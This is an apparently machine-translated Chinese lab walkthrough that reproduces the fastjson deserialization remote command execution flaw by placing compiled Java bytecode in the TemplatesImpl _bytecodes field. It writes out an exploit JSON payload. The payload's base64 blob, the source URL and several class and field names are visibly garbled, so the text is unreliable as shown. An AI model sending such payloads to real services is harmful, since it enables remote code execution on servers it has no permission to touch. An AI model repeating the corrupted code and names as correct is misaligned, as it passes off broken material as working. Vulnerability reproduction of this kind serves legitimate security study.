fastjson 反序列化任意命令执行漏洞
漏洞原理
http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%E5%E5%E5%E5% BA%8F%E5%88%97%E5%8C%96POC%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%92%8C%E5%E5%88%86%E6%E6%9E%90%90/90/90/90/90/90/90/90/90/在解析JSON的过程中,FastJson支持使用自动型来实例化特定类,并通过JSON填充其属性值。 JDK自己的类com.sun.org.apache.xalan.internal.xsltc.trax.trax.templatesimpl具有私有属性_bytecodes,并且某些方法将执行此值中包含的Java bytecode。
因此,如果要使用templatesimpl的_bytecodes属性执行任意命令,则有几个条件:
Target网站使用Fastjson库来解析JSON
功能.supportnonpublicfield在解析期间设置,否则不支持传入的私人属性。
templatesimpl类存在于目标使用的JDK中
当然,没有排除其他方法不需要模板
漏洞复现
此环境的目录结构如下:SRC此项目源代码
主/Java Java类
indexfilter.java Web源代码
POC.JAVA POC源代码
pom.xml配置文件,使用maven,您可以将此项目直接编译到战争包中
exploit.php读取编译的POC字节码并将其转换为base64
fastjson-1.0.war包装的网络环境可以直接放在tomcat下进行运行
生成字节码
第一步是在此类中编写Java类并执行命令。然后编译类,获取.class文件并获取字节码。修改要在poc.java中执行的命令,然后使用Maven在此目录中编译该项目以生成目标/class/class/poc.class:
1
MVN编译
如果未安装Maven,您还可以直接在压缩软件包中使用Web-Inf/class/poc.class。我已编译的此类文件以exploit.php读取。
构造POC
生成.class文件后,将文件内容编码为基础64,并将其以_bytecodes的值放在JSON中,如下:1
{'@type':'com.sun.org.apache.xalan.internal.xsltc.trax.trax.templatesimpl','_ bytecodes': ['yv66vgaaadqaaadqaaadqaaneoabwalcgamaccciacciacciacciacciacgkacyakacyakacqccccccak goabqalbwaraqagpgluaxq+aqadkclwaqaeq29Kzqead0xpbmvodw1 izxjuywjuywjszqeaekxvy2fsvmfyawawfibgvuywjszqeazqeazqeaqeaqeaqeabhroaxmbaavmbaavmug9joweackv4joweackv4y2v4y2gbncny2gbnm yvbnm vbnm v AAL0CMFUC2ZVCM0BAKYOTGNVBS9ZDW4VB3JNL2FWYWNOZS94YWXHBI9PBNRLCM5HBC9 4C2X0YY9ET007TGNVBS9ZDW4VB3JNL2FWYWNOZS94BWWWVAW50ZXJUYWVZHRTL0RUTUTUF 4AXNJDGVYYXRVCJTMY29TL3N1BI9VCMCVYXBHY2HLL3HTBC9PBNRLCM5HBC9ZZXJPYWX pemvyl1nlcmmlhbgl6yxrpb25iyw5kbgvyoylwaqaizg9jdw1lbnqbac1my29tl3n1bi 9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b 3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFj aGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmmlhbGl6YXRpb25IYW5kbGVyOylWAQAJaGF GbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAtAQAEbWFpbgEAFihbTGphdmEvbGFuZy 9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAAXQHAC4BAApTb3VyY2VGaWxlAQAIUG9jLmphdmEMAAgACQcALwwAMAAxAQAhb3BlbiAvQXBwbGljYXRpb 25zL0NhbGN1bGF0b3IuYXBwDAAyADMBAANQb2MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2 YS9PBY9JT0V4Y2VWDGLVBGEAWONNVBS9ZDW4VB3JNL2FWYWNOZS94YWXHBI9PBNRLCM5 hbc94c2x0yy9ucmfuc2xldev4y2vwdglvbgeae2phdmevbgfuzy9fegnlchrpb24babf qyxzhl2xhbmcvunvudgltzqecmdldfj1bnrpbwubabuokuxqyxzhl2xhbmmcvunvunvudgltztsbabaarlegvjjaqanqanqanqyxzhl2xhl2xhbmcvu35nlc5nlc5nlc5noylmf2nlc5noylmf2nlc5noylmf2nlc5noylmf2nlc5noylmf2nlc5nylmf2nlc5noylmf2nlc5noylmf2nlc5noylmf2nlc5noylmf2nlc5noylmf2nlc19sss9sssonf2nlc.9ssylmf M7ACEABQAHAAAAAAAEACAAAAAAAAAAJAAIACgAAAAAAAAAGAAAAAAAAAAAAAAAAAAA aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaeaaeaeae AABABEAEgABAAoAABJAAAAABAAAAAAGxAAAAAAAAGALAAAAAABgABAAAAAEQAMAAAAKgAEAAAAAQANAA4AAAAAAAAEAEwAU AAAAAAABABUAFgACAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABUAFgACAAAAAAAAQAXABgAAWABEAGQACAAOAAAAA/AAAAAwAAAAGxAAAAAgALAAAABgABAAAAFgAMAAAAIAADAAAAAQANAA4AAAAAAAEAEwAUAAEAAAABABoAGwACAA8AAAAEAAEAHAAJAB0AHgACAAoAAABBAAIAAgAAAAm7AAVZtwA GTLEAAAACAAsAAAAKAAAAAAZAAAGAGgAMAAAAFgACAAAAACQAfACAAAAAIAIAEAIQAOAAEADwAAAAQAAQAiAAAEAIwAAAAAAAAAAAJA=='],'name':'a.b','_tfactory':{ },' outputProperties': {},'_版本':'1.0','wasseprotocols':'All'}
如果要使用编译的.class文件,则可以直接执行PHP Exploit.php以获取POC:

执行的命令使用JDK1.8编译,是触摸/TMP /成功,因此在Windows下执行将失败。 Windows用户请自己修改poc.java并生成自己的POC。
漏洞利用
目标是Web应用程序,访问返回“ Hello World”。通常,JSON是帖子,目标将在JSON对象中提取名称和年龄,然后将其拼接到一个句子中以返回:
发送步骤2中获得的POC并成功执行命令:


如上图所示, /tmp /成功文件已成功创建。